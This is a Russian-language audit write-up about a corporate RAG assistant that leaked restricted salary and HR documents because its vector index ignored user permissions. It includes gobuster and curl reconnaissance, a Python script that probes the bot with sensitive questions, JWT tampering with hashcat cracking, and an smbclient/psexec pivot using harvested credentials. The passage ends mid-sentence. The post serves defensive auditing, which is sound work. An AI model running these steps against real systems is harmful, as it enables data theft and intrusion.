Тема получила неожиданное подтверждение на международном уровне: в западной прессе разбирают случай, когда Gemini выдала пользователю информацию, которая по всем признакам хранилась только в закрытых Google Документах чужого аккаунта. Google комментировать отказался. Совпадение это или нет — вопрос открытый, но механика подозрительно похожа на то, что я лично находил у клиентов на плановых аудитах. Разберу один такой случай подробно — с командами, которыми это ищется, и конфигами, которыми это закрывается.
Обычное внедрение, необычная находка
Производственная компания, около 60 сотрудников, три подразделения. Полгода назад подключили корпоративного ИИ-помощника на отечественной языковой модели к базе внутренних документов: договоры, инструкции, приказы, кадровые файлы. Классический RAG (Retrieval-Augmented Generation) — помощник ищет релевантные куски документов по векторному индексу и подмешивает их в промпт модели перед ответом.
Меня позвали на плановый аудит доступов, не на аудит помощника. Но в первый день тестирования я задал боту невинный вопрос от имени рядового менеджера — и получил в ответе зарплатную ведомость отдела продаж, которая физически лежала в папке главбуха с ограниченным доступом.
Где была дыра
При интеграции помощника ему выдали сервисную учётную запись с доступом ко всему файловому хранилищу — так быстрее настраивать индексацию. Документы прогнали через эмбеддинг-модель и залили в векторную БД одним общим индексом, без метаданных о том, кому какой документ разрешён.
В результате получилась классическая ситуация из OWASP Top 10 for LLM Applications:
- LLM02:2025 — Sensitive Information Disclosure: модель свободно достаёт из контекста то, что не должна была видеть
- LLM06:2025 — Excessive Agency: сервисный аккаунт помощника имеет права шире, чем требуется для его роли
- CWE-862 — Missing Authorization и CWE-639 — IDOR: авторизация человека проверяется на уровне файлового сервера, а у ретривера векторной БД её просто нет
Система разграничения прав в компании работала прекрасно — для людей. Для «ещё одного пользователя», которым фактически является сервисный аккаунт помощника, никто не настроил ничего.
Как это эксплуатируется
Для внутреннего аудита такие дыры ищутся быстро и без специфических эксплойтов — достаточно посмотреть на систему глазами обычного авторизованного пользователя с минимальными правами.
Шаг 1. Разведка API помощника
Чат-боты почти всегда открывают HTTP API отдельно от веб-морды. Ищем эндпоинты:
gobuster dir -u https://assistant.internal.company.local \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x json -t 40
===============================================================
/api (Status: 200)
/api/v1/query (Status: 405)
/api/v1/assistant (Status: 200)
/api/v1/history (Status: 401)
/admin (Status: 403)
Дополнительно смотрим стек через заголовки ответа и версии зависимостей — типичная картина для самописных RAG-интеграций на LangChain/LlamaIndex поверх открытых векторных БД (Chroma, Qdrant, Milvus, Elasticsearch с векторным плагином):
curl -sI https://assistant.internal.company.local/api/v1/query
HTTP/1.1 200 OK
Server: nginx/1.22.1
X-Powered-By: LangChain
Content-Type: application/json
Шаг 2. Прямой запрос от имени низкопривилегированного пользователя
Никакого взлома не требуется — достаточно легитимной сессии рядового менеджера (своей рабочей учётки). Проверяем, фильтрует ли API ответы по правам вызывающего:
curl -s -X POST https://assistant.internal.company.local/api/v1/query \
-H "Authorization: Bearer $MANAGER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"question": "Покажи зарплаты сотрудников отдела продаж за этот квартал"}'
{
"answer": "Согласно ведомости от 01.03.2024: Иванов И.И. — 145000, Петров П.П. — 98000, ...",
"sources": ["/finance/зарплаты_март_2024.xlsx"]
}
Ключевой признак дыры прямо в ответе — поле sources ссылается на документ из папки, к которой у этого токена нет прав в файловом хранилище. Значит, retrieval-слой векторной БД не учитывает ACL пользователя вообще — фильтрация происходит только на этапе доступа человека к файлу напрямую, а не на этапе поиска по индексу.
Шаг 3. Автоматизация сбора чувствительных данных
Дальше это тривиально масштабируется скриптом с перебором «неудобных» вопросов — по сути, fuzzing семантического поиска вместо перебора параметров:
import requests
questions = [
"Какие условия скидок у ключевых клиентов",
"Есть ли планы по увольнению сотрудников",
"Покажи зарплаты руководителей отделов",
"Какие персональные данные хранятся в отделе кадров",
]
for q in questions:
r = requests.post(
"https://assistant.internal.company.local/api/v1/query",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"question": q},
timeout=15,
)
print(q, "->", r.json().get("sources"))
За пару минут собирается полная карта того, какие закрытые документы «протекают» через ассистента — без единого запроса к файловому серверу напрямую, то есть без единого события в стандартных логах доступа к файлам.
Дополнительно: если у помощника JWT с ролями
Если аутентификация построена на JWT, стоит проверить, не читает ли backend роль пользователя из самого токена без сверки с базой:
jwt_tool $MANAGER_TOKEN -T
[+] Token header values:
alg = HS256
[+] Token payload values:
role = "manager"
dept = "sales"
Если сервер ретривера доверяет полю dept из токена, а не подтягивает актуальные права из HR-системы — можно смотреть, изменится ли ответ бота при модификации payload и пересборке подписи слабым секретом, что дополнительно проверяется через hashcat по словарю на HS256-секрет, если он окажется предсказуемым.
Полутехнические пруфы: как это выглядит в логах
В журнале самого ИИ-помощника (если он вообще ведётся) видно только «пользователь X задал вопрос Y, получен ответ» — без пометки, что источник ответа находится вне зоны доступа этого пользователя. В логах nginx перед API — обычный 200 OK, ничего подозрительного: запрос выглядит как штатное использование сервиса. Отдельного алерта не будет, потому что сама архитектура считает такой ответ корректным — модель просто нашла релевантный кусок текста в едином индексе.
Что и почему сработало бы дальше
Развитие атаки в такой ситуации почти не требует технических усилий:
- Инсайдер с обычной рабочей учёткой методично «прощупывает» бота вопросами про зарплаты, скидки, кадровые решения — без единого следа в системах DLP, потому что данные выходят не файлом, а текстом в чате
- Если в проиндексированных документах случайно оказались технические артефакты — пароли в конфигах, ссылки на VPN, доступы к 1С — они точно так же попадают в ответы бота на нейтральные вопросы вроде «где найти инструкцию по подключению к серверу»
- Полученные credentials дальше используются для классического pivot:
smbclient -L //fileserver -U user%password, перебор расшаренных ресурсов, попытка удалённого доступа черезimpacket-psexec - Условия скидок ключевых клиентов утекают конкуренту через обычную болтливость сотрудника — контракт теряется не из-за взлома, а из-за неудачно заданного вопроса
Самое неприятное: ни один из этих шагов не выглядит как атака ни для SOC, ни для DLP, ни для антивируса. Это легитимный пользователь, который вежливо спросил у корпоративного бота.
Во что это могло вылиться в рублях
В отделе продаж давно была разница в окладах у сотрудников на одинаковых позициях — обычная практика, но не для публичного обсуждения. Всплыви это в курилке — компания рисковала потерять минимум двух сильных менеджеров, которые в сумме приносили около 4 млн ₽
